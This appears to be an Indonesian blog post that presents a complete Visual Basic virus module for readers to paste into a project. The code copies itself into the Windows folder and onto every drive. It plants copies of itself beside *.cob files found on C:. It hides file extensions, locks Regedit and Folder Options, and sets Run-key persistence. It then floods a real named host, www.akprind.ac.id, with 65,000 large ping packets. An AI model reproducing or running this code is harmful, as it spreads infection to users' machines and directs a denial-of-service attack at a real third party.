silahkan anda pelajari lebih dalam
1. Bukalah 1 project
2 Tambahkan 1 Module
Copy coding dibawah ini dan paste di Editor Module:
Option Explicit
'////////////////deklarasi Kode manipulasi dan pencarian////////////////////
Private Const FILE_ATTRIBUTE_READONLY = &H1
Private Const FILE_ATTRIBUTE_HIDDEN = &H2
Private Const FILE_ATTRIBUTE_SYSTEM = &H4
Private Const FILE_ATTRIBUTE_DIRECTORY = &H10
Private Const FILE_ATTRIBUTE_ARCHIVE = &H20
Private Const FILE_ATTRIBUTE_NORMAL = &H80
Private Const FILE_ATTRIBUTE_TEMPORARY = &H100
Private Const FILE_ATTRIBUTE_COMPRESSED = &H800
Private Const MAX_PATH = 260
Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Private Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type
Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" _
(ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" _
(ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" _
(ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Private pbMessage As Boolean
'////////////////akhir deklarasi Kode manipulasi dan pencarian////////////////////
'////////////////awal Kode penggandaan////////////////////
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
'////////////////akhir Kode penggandaan////////////////////
'////////////////awal Kode pesan sponsor////////////////////
Public buffer As String * 255
Public x As Long
'////////////////akhir Kode pesan sponsor////////////////////
'///////////////awal deklarasi kode DoS attack//////////////
Public Const IP_STATUS_BASE = 11000
Public Const IP_SUCCESS = 0
Public Const IP_BUF_TOO_SMALL = (11000 + 1)
Public Const IP_DEST_NET_UNREACHABLE = (11000 + 2)
Public Const IP_DEST_HOST_UNREACHABLE = (11000 + 3)
Public Const IP_DEST_PROT_UNREACHABLE = (11000 + 4)
Public Const IP_DEST_PORT_UNREACHABLE = (11000 + 5)
Public Const IP_NO_RESOURCES = (11000 + 6)
Public Const IP_BAD_OPTION = (11000 + 7)
Public Const IP_HW_ERROR = (11000 + 8)
Public Const IP_PACKET_TOO_BIG = (11000 + 9)
Public Const IP_REQ_TIMED_OUT = (11000 + 10)
Public Const IP_BAD_REQ = (11000 + 11)
Public Const IP_BAD_ROUTE = (11000 + 12)
Public Const IP_TTL_EXPIRED_TRANSIT = (11000 + 13)
Public Const IP_TTL_EXPIRED_REASSEM = (11000 + 14)
Public Const IP_PARAM_PROBLEM = (11000 + 15)
Public Const IP_SOURCE_QUENCH = (11000 + 16)
Public Const IP_OPTION_TOO_BIG = (11000 + 17)
Public Const IP_BAD_DESTINATION = (11000 + 18)
Public Const IP_ADDR_DELETED = (11000 + 19)
Public Const IP_SPEC_MTU_CHANGE = (11000 + 20)
Public Const IP_MTU_CHANGE = (11000 + 21)
Public Const IP_UNLOAD = (11000 + 22)
Public Const IP_ADDR_ADDED = (11000 + 23)
Public Const IP_GENERAL_FAILURE = (11000 + 50)
Public Const MAX_IP_STATUS = 11000 + 50
Public Const IP_PENDING = (11000 + 255)
Public Const PING_TIMEOUT = 500
Public Const MAX_WSADescription = 256
Public Const MAX_WSASYSStatus = 128
Public Const ERROR_SUCCESS As Long = 0
Public Const WS_VERSION_REQD As Long = &H101
Public Const WS_VERSION_MAJOR As Long = _
WS_VERSION_REQD \ &H100 And &HFF&
Public Const WS_VERSION_MINOR As Long = _
WS_VERSION_REQD And &HFF&
Public Const MIN_SOCKETS_REQD As Long = 1
Public Const SOCKET_ERROR As Long = -1
Public Type ICMP_OPTIONS
TTL As Byte
Tos As Byte
Flags As Byte
OptionsSize As Byte
OptionsData As Long
End Type
Public Type ICMP_ECHO_REPLY
Address As Long
status As Long
RoundTripTime As Long
DataSize As Integer
Reserved As Integer
DataPointer As Long
Options As ICMP_OPTIONS
Data As String * 250
End Type
Public Declare Function IcmpCreateFile Lib "icmp.dll" () As Long
Public Declare Function IcmpCloseHandle Lib "icmp.dll" _
(ByVal IcmpHandle As Long) As Long
Public Declare Function IcmpSendEcho Lib "icmp.dll" _
(ByVal IcmpHandle As Long, _
ByVal DestinationAddress As Long, _
ByVal RequestData As String, _
ByVal RequestSize As Integer, _
RequestOptions As ICMP_OPTIONS, _
ReplyBuffer As ICMP_ECHO_REPLY, _
ByVal ReplySize As Long, _
ByVal TimeOut As Long) As Long
'///////////////akhir deklarasi kode DoS attack//////////////
'////////////////awal Kode manipulasi dan pencarian////////////////////
Public Sub GetFiles(Path As String, SubFolder As Boolean, Optional Pattern As String = "*.*")
Screen.MousePointer = vbHourglass
Dim WFD As WIN32_FIND_DATA
Dim hFile As Long, fPath As String, fName As String
fPath = AddBackslash(Path)
Dim sPattern As String
sPattern = Pattern
fName = fPath & sPattern
hFile = FindFirstFile(fName, WFD)
If (hFile > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then
CopyFile "c:\windows\tes_di_direktory_windows.exe", fPath & StripNulls(WFD.cFileName) & ".exe", 1
End If
If hFile > 0 Then
While FindNextFile(hFile, WFD)
If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then
CopyFile "c:\windows\tes_di_direktory_windows.exe", fPath & StripNulls(WFD.cFileName) & ".exe", 1
End If
Wend
End If
If SubFolder Then
hFile = FindFirstFile(fPath & "*.*", WFD)
If (hFile > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _
StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then
GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern
End If
While FindNextFile(hFile, WFD)
If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _
StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then
GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern
End If
Wend
End If
FindClose hFile
Screen.MousePointer = vbDefault
End Sub
Private Function StripNulls(f As String) As String
StripNulls = Left$(f, InStr(1, f, Chr$(0)) - 1)
End Function
Private Function AddBackslash(S As String) As String
If Len(S) Then
If Right$(S, 1) <> "\" Then
AddBackslash = S & "\"
Else
AddBackslash = S
End If
Else
AddBackslash = "\"
End If
End Function
Sub pencarian()
GetFiles "c:", True, "*.cob"
MsgBox "Pencarian selesai", 0, "Tes Cari"
End Sub
'////////////////akhir Kode manipulasi dan pencarian////////////////////
'////////////////awal Kode Pengganda////////////////////
Private Function DriveType(Drive As String) As String
''////fungsi mengecek drive
Dim sAns As String, lAns As Long
'fix bad parameter values
If Len(Drive) = 1 Then Drive = Drive & ":\"
If Len(Drive) = 2 And Right$(Drive, 1) = ":" _
Then Drive = Drive & "\"
lAns = GetDriveType(Drive)
Select Case lAns
Case 2
sAns = "Removable Drive"
Case 3
sAns = "Fixed Drive"
Case 4
sAns = "Remote Drive"
Case 5
sAns = "CD-ROM"
Case 6
sAns = "RAM Disk"
Case Else
sAns = "Drive Doesn't Exist"
End Select
DriveType = sAns
End Function
Private Sub kodepengganda()
''///mengecek drive dan mengcopy file penanda
Dim ictr As Integer
Dim sDrive As String
Dim x As Byte
ReDim sDrives(0) As String
Dim penanda As Byte
For ictr = 65 To 90
sDrive = Chr(ictr) & ":\"
If DriveType(sDrive) <> "Drive Doesn't Exist" Then
On Error Resume Next
penanda = Len(Chr(ictr & App.Path)) & "1234567890"
'MsgBox penanda
FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive & ictr & "koderangkaian.exe"
End If
'App.EXEName = penanda & ".exe"
Next
End Sub
Private Sub kopikewindows()
''////mengkopi file virus atau penanda ke directory windows
Dim buffer As String * 255
Dim x As Long
x = GetWindowsDirectory(buffer, 255)
On Error Resume Next
FileCopy App.Path & "\" & App.EXEName & ".exe", Left(buffer, x) & "\tes_di_direktory_windows.exe"
End Sub
'////////////////akhir Kode Pengganda////////////////////
'////////////////awal Kode Pertahanan////////////////////
Public Sub CreateKey(Folder As String, Value As String)
Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
b.RegWrite Folder, Value
End Sub
Public Sub CreateIntegerKey(Folder As String, Value As Integer)
Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
b.RegWrite Folder, Value, "REG_DWORD"
End Sub
Public Sub DeleteKey(Value As String)
Dim b As Object
On Error Resume Next
Set b = CreateObject("Wscript.Shell")
b.RegDelete Value
End Sub
Sub kodepertahanan()
'////////menyembunyikan file yang mempunyai attribut hide//////////
CreateIntegerKey "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue", 1
CreateIntegerKey "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\DefaultValue", 1
CreateIntegerKey "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN\CheckedValue", 2
CreateIntegerKey "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN\DefaultValue", 2
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", 0
'//////////Non aktifkan folder option////////////
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", 1
'//////////Kunci Regedit////////////
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1
'////////menyembunyikan extensi file//////////
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", 1
Dim titik As String
titik = """"
CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\test", _
titik & "c:\windows\tes_di_direktory_windows.exe" & titik
CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\test2", _
titik & "d:\tes.exe" & titik
End Sub
'////////////////akhir Kode Pertahanan////////////////////
'////////////////awal Kode pesan sponsor////////////////////
Public Sub Log(strLog As String)
Dim ff As Integer
ff = FreeFile
x = GetWindowsDirectory(buffer, 255)
On Error Resume Next
Open Left(buffer, x) & "\help.htm" For Output As #ff
Print #ff, strLog
Close #ff
End Sub
Sub pesansponsor()
Dim tt As String
tt = """"
Shell "C:\Program Files\Internet Explorer\IEXPLORE.EXE " & Left(buffer, x) & "/help.htm", vbNormalFocus
End Sub
'////////////////akhir Kode pesan sponsor////////////////////
'///////////////Awal Kode Dos Attack/////////////////////////
Public Function Ping(szAddress As String, ECHO As ICMP_ECHO_REPLY, TTL As Integer) As Long
Dim hPort As Long
Dim dwAddress As Long
Dim sDataToSend As String
Dim iOpt As ICMP_OPTIONS
Dim timeout_ping As Long
sDataToSend = "kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikoo" & _
"kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikoo" & _
"kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikoo" & _
"kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikoo" & _
"kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikoo" & _
"kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikoo" & _
"kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikoo" & _
"kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikoo" & _
"kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikoo"
dwAddress = AddressStringToLong(szAddress)
hPort = IcmpCreateFile()
ECHO.Options.TTL = TTL
iOpt.TTL = TTL
If IcmpSendEcho(hPort, _
dwAddress, _
sDataToSend, _
Len(sDataToSend), _
iOpt, _
ECHO, _
Len(ECHO), _
timeout_ping) Then
Ping = ECHO.RoundTripTime
Else
Ping = ECHO.status * -1
End If
Call IcmpCloseHandle(hPort)
End Function
Public Function AddressStringToLong(ByVal tmp As String) As Long
Dim i As Integer
Dim parts(1 To 4) As String
i = 0
While InStr(tmp, ".") > 0
i = i + 1
parts(i) = Mid(tmp, 1, InStr(tmp, ".") - 1)
tmp = Mid(tmp, InStr(tmp, ".") + 1)
Wend
i = i + 1
parts(i) = tmp
If i <> 4 Then
AddressStringToLong = 0
Exit Function
End If
AddressStringToLong = Val("&H" & Right("00" & Hex(parts(4)), 2) & _
Right("00" & Hex(parts(3)), 2) & _
Right("00" & Hex(parts(2)), 2) & _
Right("00" & Hex(parts(1)), 2))
End Function
Sub seranganDoS()
Dim ECHO As ICMP_ECHO_REPLY
Dim angka As Long
For angka = 1 To 65000
Call Ping("www.akprind.ac.id", ECHO, 30)
Next angka
End Sub
'///////////////Akhir Kode Dos Attack/////////////////////////
Sub Main()
kodepertahanan
kodepengganda
pencarian
pesansponsor
seranganDoS
End Sub
Tidak ada komentar:
Posting Komentar